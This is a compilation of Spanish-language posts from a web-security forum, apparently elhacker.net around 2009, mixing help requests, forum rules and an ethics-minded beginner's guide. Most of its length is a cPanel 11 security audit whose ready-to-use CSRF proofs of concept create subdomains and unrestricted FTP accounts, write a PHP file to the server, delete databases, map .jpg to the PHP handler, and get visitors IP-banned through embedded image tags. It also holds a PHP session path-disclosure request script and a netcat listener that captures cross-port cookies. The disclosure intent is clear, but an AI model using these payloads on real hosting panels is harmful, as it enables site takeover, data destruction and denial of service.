Iniciamos la encapsulación dle buffer de salida, imprimimos el copyright, lo pasamos a una variable y eliminamos el buffer :P despues podemos darle unset() para eliminarlo aunque no hay necesidad.

Saludos.
#301
Quería ponerlo en mi lap para probar algunos códigos pero no pude:



Descargué 4 veces un iso de la web de microsoft y la setup siempre me decia lo mismo, que los archivos eran corruptos porque no pudieron ser verificados.

Citar[01/24/10,14:10:00] VC 9.0 Runtime (x86): [2] CMsiComponent::Install() expects the setup file for VC 9.0 Runtime (x86), but the file failed verification. [01/24/10,14:10:00] setup.exe: [2] ISetupComponent::Pre/Post/Install() failed in ISetupManager::InternalInstallManager() with HRESULT -2147467259. [01/24/10,14:10:01] VS70pgui: [2] DepCheck indicates VC 9.0 Runtime (x86) is not installed. [01/24/10,14:10:01] VS70pgui: [2] DepCheck indicates VC 10.0 Runtime (x86) was not attempted to be installed. [01/24/10,14:10:01] VS70pgui: [2] DepCheck indicates Microsoft .NET Framework 4 Beta 2 was not attempted to be installed. [01/24/10,14:10:02] VS70pgui: [2] DepCheck indicates Microsoft Visual F# 1.0 Runtime was not attempted to be installed.

Citar[01/24/10,14:10:00] VC 9.0 Runtime (x86): File failed validation: e:\setup\..\wcu\vc90sp1\vc_red.msi; error = 0x80091007 [01/24/10,14:10:00] Setup.exe: AddGlobalCustomProperty [01/24/10,14:10:00] VC 9.0 Runtime (x86): ***ERRORLOG EVENT*** : CMsiComponent::Install() expects the setup file for VC 9.0 Runtime (x86), but the file failed verification. [01/24/10,14:10:00] Setup.exe: GetGlobalCustomProperty - Property: {BBE1827C-F2FD-4FDA-A6D6-C83B62FFFDCA} - PropertyName: compfailed - Value: 0 [01/24/10,14:10:00] VC 9.0 Runtime (x86): CBaseComponent::LaunchWatson() - Obtained CSetupWatson instance

Me bajé la descarga alternativa que son 4 archivos rar de 700 mb y cuando descomprimí el iso el winrar me decia que la parte 3 estaba corrupta :-\

Busqué en google y hay mucha gente que tiene el mismo problema y algunos dan como solución bajar el iso desde la web de microsofty hacer la reinstalación pero yo ya me lo bajé 4 veces desde la web de microsoft xD.
Creo que fue una falla nativa del software por un error de programación o algo similar porque está bién raro.

El iso me lo bajé desde acá:
http://go.microsoft.com/fwlink/?LinkID=165572

¿Alguien sabe como solucionar este problema?
o si no me bajo uno por torrent con su crack y listo  :laugh:
#302
Url de aviso no significa donde lo reportaron sino donde se publicó anteriormente.
Todos los mensajes que no tengan una ur válida de aviso aunque sea un blog en wordpress o blogger, da igual, será eliminado este lunes.
#304
Nivel Web / Documentación y videos externos
10 Enero 2010, 20:39 PM
La idea de este post es poder ir recopilando textos y videos externos al foro que nos puedan servir de referencia para aprender mas sobre la seguridad a nivel web.

  • Estos enlaces externos que son documentación deben tener un contenido concreto sobre una idea y en lo posible materializado en archovos txt, pdf, doc, etc.
  • No enlazar temas de foros externos ni temas de debate similar, solamente documentación concreta y finalizada.
  • También hay que recordar que en algunos casos puede estar prohibida la reproducción de un documento o video debido al copyright, en ese caso es preferible no enlazar en este lugar.
  • Dejar en claro el idioma del documento y de que se trata.
  • Cualquier post sobre documentación externa que no esté primero en este tema será movido o si no eliminado para poder llevar un mejor orden de cada post.

    Si alguien tiene duda sobre algún texto o video y quiere debatir sobre ello puede crear un nuevo tema fuera de este.
#305
¿Como iniciarse en la seguridad WEB?

Mucha gente anda por todos lados buscando orientación de como comenzar a aprender esto de la seguridad a nivel WEB.

1.
Lo primero que debes tener en claro es que es lo que realmente deseas ser o hacer, si lo que quieres es ir por internet y tumbar cualquier servidor que se te cruze por delante entonces estás en el lugar equibocado.

2.
Lo segundo que necesitas antes de comenzar cualquier cosa es entender que es ser ético, tener una madurez mental mínima, ser autodidacta, no esperar a que la gente haga todo por ti y saber hacer buenas preguntas.

¿Porqué ser ético y tener una madurez mental mínima?
Imagina si la gente que sabe sobre seguridad a nivel web comienza a desmadrar cada sitio que visita o se le cruza o mejor piensa que te compras un hosting con dinero propio y pones mucho esfuerzo en montar tu foro o portal para que alguien venga y te lo tumbe al primer dia... lo reparas y al tercer dia lo mismo :-\ .
Decir "¿Como puedo defacear una web?" es muy similar a la frase "¿Como puedo hacearle el hotmail a mi novia?" debido a muchas cosas, primero que nada pensar por un momento que sacas con ir por la vida tumbando paginas webs, mas que fama o fortuna o mujeres lo único que vas a lograr es una visita de la policía por lo menos una ves al mes y convertirte en un delincuente informático, cosa muy diferente a decir que eres un auditor y buén programador que puede ayudar a la seguridad de un sitio web y ser reconocido por ser bueno en lo que haces en ves de ser odiado por la gente que sabe y adorado por los lamers mas grandes sobre la faz de la www.

¿Porqué ser autodidacta y no esperar a que los demas hagan las cosas por ti?
Imagina que te doy un script que lo subes a un hosting y al visualizar el archivo te ejecuta un exploit, no vas a saber como funciona por lo tanto si surge un problema no sabrás solucionarlo, tampoco podrás encontrar tus propias vulnerabilidades porque siempre vas a tener que esperar a que alguien mas los encuentre y eso no es bueno, eso es ser dependizado de la gente que si sabe y se esfuerza y son los que entienden de seguridad web, los que no son autoddactas nunca podrán surgir por si solos, por eso siempre busquen, aprendan, lean, y cuando todos los recursos de busqueda se hayan agotado entonces ahi recién pregunten a alguien que sepa mas.

¿Porqué es necesario saber hacer buenas preguntas?
Hay buenos tips para hacer una buena pregunta y una buena pregunta lleva a buenas respuestas, mientras mas mal hecha sea una pregunta también será peor la respuesta ya que puede no ser tomada en serio o causar el disgusto del que si pueda responderte de buena forma.

Una mala forma de hacer una pregunta es llenar de signos de exclamación "ayudaaaa!!!!!".
Una buena forma de hacer una pregunta es siendo específico.
Una mala pregunta es cuando pides cosas que puedes encontrar en el primer resultado en cualquier buscador como Google.
Una buena pregunta es cuando necesitas algo que no puedes encontrar con facilidad en cualquier buscador.
Una mala pregunta es hacerla con intención de querer dañar a alguien o hacerlo sin ética.
Una buena pregunta es cuando necesitas algo para una buena causa.
Una mala pregunta es cuando se acompaña con un nick que tiene demasiados carácteres y simbolos raros.
Una buena pregunta es siendo respetuoso y solicitando las cosas "por favor" ya que al final nadie te va a cobrar por la respuesta que necesitas.

3.
Ahora si, después de todo lo principal lo que necesitas es entender el lenguaje WEB, o sea saber programar.
¿Si no entiendes como funciona una página web entonces como quieres comprender como encontrar una falla?

Lenguajes recomendados para aprender:
HTML (Obligatorio)
PHP
ASP
SQL general (Obligatorio)
MySQL
MSSQL (Opcional)
javascript (Obligatorio)
HTTP (Opcional)

Lo mas importante es saber HTML ya que con eso puedes entender como funciona la mayoría de los ataques a nivel cliente y dependiendo el lenguaje en que esté hecho el sitio WEB necesitarás aprender ya sea php, asp, cgi/perl, python, etc etc.
Es necesatio aprender lenguaje SQL para tener la báse de lenguajes derivados tales como MSSQL y MySQL.
De forma opcional puedes aprender como funciona el protocolo HTTP para poder realizar test avanzados que no te permita realizar el explorador.

Este pequeño listado contiene los lenguajes WEB mas utilizados pero hay muchisimos mas, por lo tanto si quieres recién comenzar debes aprender uno por uno de esa lista.

¿Como puedo aprender php?
Lo primero que hacemos es instalar un servidor WEB, en mi caso recomendaré un pack de programas llamado XAMPP (Windows) y LAMPP (Linux) el cual contiene todo lo que necesitas para practicar:
  • Apache server
  • PHP
  • MySQL
  • FTPD
  • Phpmyadmin
  • SQLiteadmin

    Una ves que lo instales debes localizar un directorio llamado "htdocs", "www" o "public_html" que quedará dentro del directorio del programa, ahi pondremos todas nuestras pruebas en php, mysql, etc etc.

    Ahora lo único que necesitas es buscar buenos manuales de como programar en php, mysql, javascript, html, etc etc etc.

    4.
    Lo que yo recomiendo es aprender en la práctica, por o tanto te buscas scripts de ejemplos que puedas encontrar por ahi y los instalas en tu servidor local (el que acabas de instalar), ahora como se supone que ya aprendiste php intenta crear tus propios sistemas o scripts y cuando lo hagas te irás dando cuenta en que pueden ser vulnerables, lees sitios webs donde expongan vulnerabilidades para poder comprender como funcionan, aprende que significan los siguientes términos:
    XSS
    CSRF
    SQL Inyeccion
    CRE
    Null Byte Atack
    etc etc etc y con eso ya vas a tener la base para poder continuar solo a aprender todo lo que te guste.

    Con el tiempo te irás dando cuenta que hay muchos sistemas públicos que contienen pequeños bugs o problemas de seguridad que puedes transformar en un riesgo de alto nivel.

    Para poder comprender algunos términos básicos es recomendable dar un vistazo al diccionario ( http://foro.elhacker.net/nivel_web/diccionario_informatico_sobre_bugs_y_exploits_en_nivel_web_v10-t264007.0.html ) claro.. una ves que hayas aprendido lenguaje web :P

    Aportes, dudas, consultas, apoyo, son bienvenidos!
#306
He estado leyendo varias noticias del foro de noticias de las cuales ya me he encontrado con dos de ellas que solo son inocentadas pero en ningúna parte indican que lo son por lo cual cuando quiero leer una noticia no se si es verdadera o no.

Que noticias son reales? google será realmente el mas rapido en celulares? tuenti realmente cerrará? por lo menos hoy paso de leer noticias porque no se si lo que estoy leyendo es real o no.
#307
Bugs y Exploits / Bug en PHP 5.3.1 (Path disclosure)
26 Diciembre 2009, 23:16 PM
Encontré un bug en PHP y le mandé un correo a php.net pero no parece interesarles asi que se los comento acá mejor.

El problema de seguridad en php 5.3.0, se que actualmente la versión estable de php es 5.3.1 pero estuve observando el changelog y no encontré ningún indicio de haber encontrado y reparado este problema que quiero contar.

El problema es que si inicias sesión con session_start() te crea una cookie llamada "PHPSESSID" la cual contiene un valor alfanumérico y el problema está en que si modificas el valor de dicha cookie una ves creada la sesión entonces se creará un nuevo archivo en el directorio temporal con el nombre de la cookie.

Yo entiendo que el valor máximo de carácteres de un archivo son 256 por lo tanto si le ponemos un valor al PHPSESSID de 300 carácteres se producirá un error revelando un "path disclosure" pudiendo forzar cualquier resultado.

Ejemplo:
Código (php) [Seleccionar]
<?php
session_start
();
if(
$_SESSION)
 echo 
$_SESSION;
else
 
$_SESSION 'xx';
?>


Ahora envías la petición con tu cookie modificada:
Código (php) [Seleccionar]
<?php
error_reporting
(0);

$payload =
'GET / HTTP/1.1
Host: 127.0.0.1
Connection: close
Cookie: PHPSESSID='
.str_repeat('a'500).';

'
;

if(!
$handle fsockopen('127.0.0.1'80)){
 die(
'Error');
}else{
 
fputs($handle$payload);
 while(!
feof($handle)){
  
$retorno .= fread($handle1024);
 }
 echo 
nl2br(htmlspecialchars($retornoENT_QUOTES));
}
?>


Resultado:
CitarWarning: session_start() [function.session-start]: open(/tmp/sess_aaaaaaaaaaaaaaaaaa ..... aa in /opt/lampp/htdocs/test.php on line 3

Al enviar esto por correo me dijeron lo siguiente:
CitarNo del todo seguro de haber entendido. ¿Es sólo una ruta de divulgación del mensaje de error le preocupa? Nosotros no consideramos que un problema de seguridad porque los sistemas de producción no debe estar funcionando con "display_errors" activada.

-Rasmus

Y bueno, como vi que no les interesaba mucho le dije que ya no lo molestaría mas:
CitarSi, es lo ideal, y también todos deberían urilizar htmlspecialchars para evitar xss y mysql escape real string para evitar una inyección sql pero no todos lo hacen.

Actualmente a grán mayoría de sistemas CMS contienen en sus configuraciones un error_reporting habilitado tales como joomla, wordpress, phpbb, vbulettin, smf, moodle, phpnuke, phpmyadmin, sqliteadmin, y muchos mas.

recuerdo hace un tiempo pasado hubo un problema debido a que la cookie de sesión permitía carácteres que no fueran alfanuméricos y por la misma razón se producía el mismo tipo de error lanzando un "path disclosure", por lo cual supuse que también podría importarles pero veo que me equiboqué, no volveré a molestarlos.

Probé este bug en varios servidores y comunidades muy conocidas y de los 8 servidores solo dos no reaccionaron a este problema debido a que por defecto en la configuración del servidor impiden la visualización de errores pero en todos los demás funciona bién.

Incluso puedes crear un exploit para resolver la ruta local del archivo afectado que utilize sesiones de php con session_start().
#308
Hola, tengo una base de datos MySQL con mi web donde subo tutoriales en formato texto plano, el problema es que cuando quiero actualizar una columna pghpmyadmin me dice:
CitarDebido a su longitud,
este campo podría no ser editable

De todas formas le doy guardar y me sale este mensaje:
CitarFilas afectadas:  0
Warning: #1265 Data truncated for column 'descripcion' at row 1

El tamaño total del texto son 446,5 KiB

La columna es de tipo TEXT y el motor es MyISAM.

Lo mismo pasa en el foro, si intento guardar un post muy largo solo se guarda la mitad o hasta cierto límite de carácteres.

¿Que puede ser?
El servidor no es dedicado asi que no creo poder tener acceso a las configuraciones de mysql  :-\.
#309
Hola, estoy haciendo un par de funciones para poder manipular mysql y sqlite desde un solo lado tratando de compatibilizar a ambos y seleccionando el uso de cada uno según el archivo de configuraciones pero tengo un par de problemas ya que como todos saben sqlite no trabaja igual que mysql.

El problema que tengo es justamente ese, tratar de compatibilizar las funciones y necesito encontrar algunos reemplazos.

El primer problema es que no puedo listar tablas con show desde sqlite tal como puedo hacerlo en mysql para poder crear el instalador y verificador de integridad de la base de datos.
En mysql hago esto:
Código (php) [Seleccionar]
$query = "SHOW TABLE STATUS LIKE 'xxx'";

Como puedo encontrar un reemplazo en sqlite?

Otro problema es que en mysql si haces un update a columnas que no existen dentro de una tabla entonces la función te los creará de forma automática evitando tener que cargar desde cero la base de datos nueva y lo hago así:
Código (php) [Seleccionar]
$query = "ALTER TABLE tabla ADD columna tipo";

Pero en Sqlite no existe el "alter" por lo tanto no puedo agregar nuevas columnas y si por x motivo despues del desarrollo de mi aplicacion quiero insertarle una columna mas tendria que pasar toda la tabla a una variable temporal en php o a un archivo serializado y crear la tabla nuevamente con las nuevas columnas y volver los datos guardados a la tabla y es demasiado trabajo para el servidor si es que llega a ser demasiado grande.

Otro problema que tengo aunque no es tan significativo es la busqueda con like %$% ya que las busquedas son cas sensitive no como mysql por lo cual las busquedas por el lado del visitante son demasiado inexactas ya que debería atinarle a las mayusculas.
Habría alguna forma de prevenir este problema tal como lo hace mysql emulando alguna función sin tener que utilizar un select * a toda la base de datos para comparar con strtolower?

Gracias.
#310
Recopilatorio de Temas del foro de PHP del mes de Noviembre

Desarrollo de tutoriales y proyectos realizado por los usuarios

Micro Tutorial Tratamiento de imagenes en Php (N3FISTO)
http://foro.elhacker.net/php/micro_tutorial_tratamiento_de_imagenes_en_php-t276012.0.html
Clase para el manejo fácil de imagenes con GD

[Tutorial] - Login con ajax . Mysql || Php con clases || Ajax (Hadess_inf)
http://foro.elhacker.net/php/tutorial_login_con_ajax_mysql_php_con_clases_ajax-t259563.0.html


Temas interesantes

Proteger codigo Php (OHK)
http://foro.elhacker.net/php/proteger_codigo_php-t274475.0.html
Diferentes formas de proteger tu script hecho en PHP

[PHP] Codificar archivos con algoritmos reversibles. (DarkItachi)
http://foro.elhacker.net/php/php_codificar_archivos_con_algoritmos_reversibles-t273503.0.html

Script php Backup MySQL (EuroHack)
http://foro.elhacker.net/php/script_php_backup_mysql-t271748.0.html
#311
Bueno, me pude conseguir 8 puntos para warzone con sirdarckcat para regalarselos al primero que llegue acá posteando un XSS pero ojo, no es cualquier XSS....

Actualmente hay un XSS en el foro y es ejecutable para visitantes o sea que no necesito ser admin ni moderador ni nada para ver este XSS. Este XSS es permanente (ver el diccionario que está con chincheta) y por lo tanto pueden escribir el xss a vista de todo público.

El primero que encuentre este XSS en el foro se llevará los 8 puntos para WarZone (http://warzone.lehacker.net/ )

Esta prueba se excluyen todos los usuarios que tengan privilegios mayores a un usuarioo normal, o sea que no participan los colaboradores ni moderadores ni nada de nada, solo usuarios común y corrientes como tu que estás leyendo.
Tampoco pueden participar los que tengan acceso a leer el tracker de simpleaudit.

El primero que postee el XSS se lleva los 8 puntos!!!! y debe explicar porque es un xss y porque se produce o por lo menos explicar como se explota. La idea es que no pueda venir alguien haciendo copy paste de algún otro lado.

Si alguien hace trampas será sancionado con aceite hirviendo y se les hecharán a los perros que elbrujo tiene guardado para casos como este.

SOLO EL PRIMERO!!!!! y no hay pistasss muahahahha xD
El dia 30 de este mes se enviará el tracker de vulnerabilidades de smf a full disclosure asi que no podrá pasar de esa fecha.

#312
Nivel Web / Especial Navidad 2009
20 Noviembre 2009, 23:27 PM
Especial Navidad 2009
Bugs y Exploits a nivel WEB



Indice

  • Auditoría de seguridad a cPanel 11
  • vulnerabilidad universal en exploradores WEB
  • Vulnerabilidad - OpenRedirect en Google utilizado para ocultar urls de atacantes
  • Vulnerabilidad - XSS en GModules afecta a GoogleWave, OpenSocial (hi5, linkedin, myspace), Google HomePage, sites.google.com, wiki.elhacker.net, labs.elhacker.net, groups.google.com, y cualquier sitio web que utilize los servicios de google en el cual incorporen GModules.




Descripción:
cPanel (acrónimo de control Panel) es una herramienta de administración WEB administrar sitios de manera fácil. Actualmente es un sistema de pago y de código cerrado vulnerable a que cualquiera pueda encontrar bugs sin si quiera poder revisar su código fuente para que puedan ser reparadas oportunamente.
cPanel es uno de los sistemas mas utilizados en servidores de pago compartidos y resellers.
http://cpanel.demo.cpanel.net/login/?user=x3demob&pass=x3demob

Al ver que era un sistema tan utilizado pero a la ves tan descuidado en su seguridad me propuse comenzar esta auditoría de seguridad hacia cPanel 11 llamada "BugPanel 11".

[Round 1] Creación arbitraria de subdominios
Si vamos a nuestro cpanel e intentamos crear un nuevo subdominio podemos ver dos detalles.
El primer detalle es que podemos transformar nuestras peticiones POST en GET asi que basta pasar las variables via GET para crear nuestro subdominio.

Vamos a nuestro cPanel a la sección:
http://ejemplo.com:2082/frontend/x3/subdomain/index.html

Ahora si creamos un subdominiop nos enviará hacia una página para verificar que realmente se creará el subdominio y al hacer click en aceptar veremos que se ha creado nuestro subdominio pero entre que le das aceptar y crear el dominio aparece un enlace como este:
http://ejemplo.com:2082/frontend/x3/subdomain/doadddomain.html?domain=subdominio&rootdomain=ejemplo.com&dir=public_html%2Fsubdominio&go=Create

Con este enlace ya podemos darnos cuenta del segundo detalle el cual es que no lleva token ni verificación de referencia (aunque no serviría tampoco) ni nada que pueda evitar un ataque del tipo CSRF.

Por lo tanto un atacante puede facilmente crear un enlace, imagen o lo que sea lo cual el administrador de ese panel pueda ser redireccionado hacia dicha vulnerabilidad y crear de forma arbitraria subdominios y directorios tal como este script de ejemplo:
Código (php) [Seleccionar]
<?php
/* Host vulnerable */
$dominio_vulnerable 'ejemplo.com';
$cpanel_vulnerable 'http://ejemplo.com:2082/';
$directorio_nuevo 'cpwned';
$subdominio_nuevo 'cpwned';
if(
$_SERVER['HTTP_REFERER']){

 
header(
  
'location: '.
  
$cpanel_vulnerable.
  
'frontend/x3/subdomain/doadddomain.html?domain='.
  
urlencode($subdominio_nuevo).
  
'&rootdomain='.
  
urlencode($dominio_vulnerable).
  
'&dir=public_html%2F'.
  
urlencode($directorio_nuevo).
  
'&go=Create'
 
);
}else{
 echo 
'<html><img src="http://i48.tinypic.com/1949he.jpg" /></html>';
}

?>


[Round 2] Creación arbitraria de archivos y código de ejecución arbitrario via PHP
Si vamos al administrador de archivos del cpanel encontraremos un hermoso filemanager en el cual nos permire observar todos los archivos del servidor, editar su contenido, borrarlos  o cambiarles sus permisos.
Cuando va mos a la edición de un archivo y lo guardamos podremos darnos cuenta de que no envía token ni nada por lo tanto nuevamente nos damos cuenta que el filemanager contiene CSRF en modo POST.

Con estos datos ya podemos crear nuestra prueba de concepto:
Código (php) [Seleccionar]
<?php

/* Datos del host vulnerable */
$cpanel_vulnerable 'http://ejemplo.com:2082/';
$archivo 'cpwned.php';
$directorio '/home/ejemplo/public_html/';
$payload '<'.'?php phpinfo(); ?>
';

?>
<html>
<body>
 Muestra de ejemplo.
 <form method="post" action="<?php echo $cpanel_vulnerable?>frontend/x3/filemanager/savefile.html">
  <input type="hidden" name="doubledecode" value="1" />
  <input type="hidden" name="ufile" value="<?php echo $archivo?>" />
  <input type="hidden" name="file" value="<?php echo $archivo?>" />
  <input type="hidden" name="udir" value="<?php echo urldecode($directorio); ?>" />
  <input type="hidden" name="dir" value="<?php echo urlencode($directorio); ?>" />
  <input type="hidden" name="__cpanel__temp__charset__" value="us-ascii" />
  <input type="hidden" name="path" value="<?php echo urldecode($directorio).$archivo?>" />
  <input type="hidden" name="charset" value="us-ascii" />
  <input type="hidden" name="page" value="<?php echo urlencode($payload); ?>" />
 </form>
 <script>
  document.getElementsByTagName('form')[0].submit();
 </script>
</body>
</html>


[Round 3] Eliminación arbitraria de bases de datos completas
Cuando vamos al gestor de bases de datos de MySQL:
http://www.ejemplo.com:2082/frontend/x3/sql/index.html

Podemos observar que al intentar eliminar una base de datos nos envía hacia una página que nos pregunta si realmente queremos eliminar nuestra base de datos, la sorpresa llega cuando vemos que el botón de aceptar nos lleva a un enlace sin protección ni token ni nada:
http://www.ejemplo.com:2082/frontend/x3/sql/deldb.html?db=ejemplo_basededatos

Llevandonos a la eliminación inminetne e irrecuperable de nuestra base de datos a menos que tengamos alguna backup por ahi.

Con esto ya podemos crear una prueba de cocepto donde un administrador puede ser redirigido desde alguna imagen, página, o lo que sea ejecutando esta acción de forma arbitraria:

Código (php) [Seleccionar]
<?php
/* Host vulnerable */
$cpanel_vulnerable 'http://ejemplo.com:2082/';
$base_de_datos 'empresa_productos';

if(
$_SERVER['HTTP_REFERER']){
 
header(
  
'location: '.
  
$cpanel_vulnerable.
  
'frontend/x3/sql/deldb.html?db='.
  
urlencode($base_de_datos)
 );
}else{
 echo 
'<html><img src="http://i48.tinypic.com/1949he.jpg" /></html>';
}

?>


[Round 4] Creación arbitraria de cuentas FTP sin restricciones
Si vamos al gestor de cuentas FTP e intentamos crear una nueva cuenta sin restricciones podemos ver que pasa lo siguiente desde nuestro cliente de navegación hasta el servidor:
POST /frontend/x3/ftp/doaddftp.html HTTP/1.1

Host: www.ejemplo.com:2082
User-Agent: Mozilla/5.0 (X11; U; Linux i686; es-CL; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-cl,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.ejemplo.com:2082/frontend/x3/ftp/accounts_pure-ftpd.html
Cookie: cookies
Content-Type: application/x-www-form-urlencoded
Content-Length: 84

login=cpwned&password=cpwned&password2=cpwned&homedir=public_html%2F&quota=unlimited


Por lo tanto ya es evidente que no hay token y por lo tango podemos generar un CSRF pero si tomamos nuestras variables POST y las convertimos a GET vemos que funciona igual:
http://www.ejemplo.com:2082/frontend/x3/ftp/doaddftp.html?login=cpwned&password=cpwned&password2=cpwned&homedir=public_html%2F&quota=unlimited

Asi que con estos datos ya estamos listos para hacer la prueba de concepto:

Código (php) [Seleccionar]
<?php
/* Host vulnerable */
$cpanel_vulnerable 'http://ejemplo.com:2082/';

if(
$_SERVER['HTTP_REFERER']){

 
header(
  
'location: '.
  
$cpanel_vulnerable.
  
'frontend/x3/ftp/doaddftp.html?login=cpwned&password=cpwned&'.
  
'password2=cpwned&homedir=public_html%2F&quota=unlimited'.
  
urlencode($base_de_datos)
 );
}else{
 echo 
'<html><img src="http://i48.tinypic.com/1949he.jpg" /></html>';
}

/* Se creará una cuenta ftp con el usuario cpwned y password cpwned ilimitada */

?>


[Round 5] Modificación arbitraria de Mimetypes de Apache Server
Maaaaammmboo!! huuuh!!!
Cuando vamos a modificar un tipo de contenido desde el gestor de mimetypes de cPanel:
http://www.ejemplo.com:2082/frontend/x3/mime/mime.html

Podemos ver que cuando agregamos un tipo de extensión no nos solicita ningún tipo de protección para evitar acciones arbitrarias y ni si quiera pasa via POST sino que lo hace via GET directamente.

Cuando creamos una nueva extensión vemos algo como esto:
http://www.ejemplo.com:2082/frontend/x3/mime/addmime.html?mimet=application%2Fandrew-inset&ext=lol&submit=Add

Por lo tanto basta con que el administrador del cpanel vea este enlace para agregarle mimetypes a su servidor.
Que tal un mimetype de tipo ocet/stream a php para descargarlos en ves de ejecutarlos? o archivos jpg y zips que se ejecutan con el handle de php?

Prueba de concepto:

Código (php) [Seleccionar]
<?php
/* Host vulnerable */
$cpanel_vulnerable 'http://ejemplo.com:2082/';
$mimetype 'application/x-httpd-php';
$extension 'jpg';

if(
$_SERVER['HTTP_REFERER']){

 
header(
  
'location: '.
  
$cpanel_vulnerable.
  
'frontend/x3/mime/addmime.html?mimet='.
  
urlencode($mimetype).
  
'&ext='.
  
urlencode($extension).
  
'&submit=Add'
 
);
}else{
 echo 
'<html><img src="http://i48.tinypic.com/1949he.jpg" /></html>';
}

/* Ahora los archivos .jpg son ejecutables de php :D */

?>


[Round 6] Baneo arbitrario de visitantes al host
Cuando intentas ingresar a tu cpanel desde la pagina principal:
http://www.ejemplo.com:2082/

Y fallas mas de 10 veces te banea :o y lo gracioso es que no te banea de cPanel sino de todo el servidor por lo tanto no puedes ingresar ni a la página que está alojada ni al ssh ni a ninguna parte a menos que cambies de ip.

Acá hay dos problemas, el rpimero es que la autentificación también se hace via WWW-Authenticate de apache o sea envío de headers.
cPanel procesa ete tipo de login pero no verifica los 10 intentos asi que podemos enviar peticiones GET a una imagen o a alguna sección sin protección enviando contraseña tras contraseña hasta lograr ingresar.

El otro problema es que el sistema de baneo aparentemente solo sirve para banear a tus visitas xD ya que el login del formulario se envía mediante una petición POST al servidor pero si la transformas a GET puedes hacer logueos arbitrarios debido a que no hay token ni nada referencial que impida un ataque CSRF, asi que la url de login quedaría masomenos así:
http://ejemplo.com:2082/login/?user=d&pass=d

Basta que alguien vea 10 veces ese enlace para quedar fuera de combate, asi que esto mismo se puede aprovechar por ejemplo para ponertelo de firma redireccionando la url como si fuera una imagen y de esa forma baneas a todos los que vean tus post en un foro.

Prueba de concepto para código bbc:

[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]


Si usas tinyurl te ahorras carácteres y puedes ir mostrando de a 5 en 5 para banear cada dos visualizaciones o cada dos post tuyos que vean.

Actualmente hay muchos foros con cpanel al descubierto :p


Y bueno... en resumidas palabras todo cPanel contiene CSRF por lo tanto se puede ejecutar cualquier tipo de acción arbitraria siempre y cuando pertenezca al software nativo de cPanel, no así con softwares de terceros como phpmyadmin.
Además gracias a que cPanel es un software de código errado nadie puede hacer parches o soluciones asi que por lo tanto no hay solución mas que sentarse a mirar a las aves volar mientras tanto que medio internet es vulnerable y no todos los hosting se van a querer actualizar a menos que den con bombo y platillos el anuncio oficial desde cpanel diciendo que es vulnerable.

Recordar que para que estos tipos de ataques puedan ejecutarse el administrador debe estar logueado y visualizar tu archivo que lo redireccionará.

¿Que sucede si la conexión va via ssl? ¿lo detendrá la verificación de certificado?
No porque gracias a cPanel las instalaciones por defecto siempre se hacen en dos puertos que son el 2082 y 2083 el cual uno es sin y con ssl respectivamente asi que no sirve de nada el certificado de seguridad si eres atacado de esta forma, pero.... si estoy logueado en mi cpanel con ssl no debería cambiar mi cookie?
La respuesta es no ya que cPanel no fuerza una cookie segura al explorador por lo tanto tu cookie de cpanel la llevas a todas partes del servidor independiente si estas en el cpanel con o sin ssl o en tu foro o en tu blog, web, portal o lo que sea y con tu cookie llevas también tu sesión lista para ser robada, capturada o sniffeada.

Y ustedes dirán "Oh My God!!" debido a que deben ya haberse dado cuenta de un bug por defecto en los exploradores que ya voy a comentar a continuación.




Vulnerabilidad universal en exploradores WEB

Para poder comprobar antes de explicar lo que sucede voy a ingresar a mi gestor de bases de datos phpmyadmin:
http://127.0.0.1/phpmyadmin/
Ahora voy a mi administrador de servidor WebAdmin
http://127.0.0.1/:10000
Ahora me voy al foro:
http://127.0.0.1/smf/
Al blog
http://127.0.0.1/wordpress/

Ahora ejecuto en mi consola:
Código (bash) [Seleccionar]
yan@Lola:~/Escritorio$ sudo nc -vlp 99
[sudo] password for yan:
listening on [any] 99 ...


Me hago una petición GET
http://127.0.0.1:99/

Y me encuentro con la sorpresa:
connect to [127.0.0.1] from localhost [127.0.0.1] 44829
GET / HTTP/1.1
Host: 127.0.0.1:99
User-Agent: Mozilla/5.0 (X11; U; Linux i686; es-CL; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-cl,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: PHPSESSID=xxxx; SMFCookie891=xxxx; cprelogin=no; cpsession=closed;
testing=1; sid=000000; wp-settings-time-1=0000; wp-settings-1=xxxxxx;
wordpress_test_cookie=WP+Cookie+check


Si nos damos cuenta me ha enviado la cookie de todos los siostemas webs que he visitado sin importar el puerto en que estaban.
Normalmente si un sistema WEB está en un puerto determinado debería conservar su privacidad de cookie y no compartirla con todos los demás sistemas alojados en los demas puertos.
En mi caso me puse a escucha en el puerto 99 y pude recibir todas las cookies pero... ¿que tan peligroso puede ser?

¿Que sucede cuando ingresamos al cPanel y luego vamos a nuestro foro o blog?
Lo que pasa es que la cookie del cPanel se va con nosotros :p y si la web o foro es vulnerable y alguien te ataca con XSS puede robar la cookie de tu cPanel y robar tu dominio o tu hosting completo, hacer redirecciones o transferir cuentas.

Lo que estamos haciendo es violar la privacidad de contenido del sistema WEB debido a que ningún explorador manipula las cookies discriminando puertos sino que solamente discrimina dominios , subdominios y rutas al tratarse del mismo servidor pero no puertos.




Vulnerabilidades en servicios de Google

[Round 1] OpenRedirect
Primero que nada vamos a ir directamente a la prueba de concepto:
http://www.google.com/url?q=http:///foro.elhacker.net/

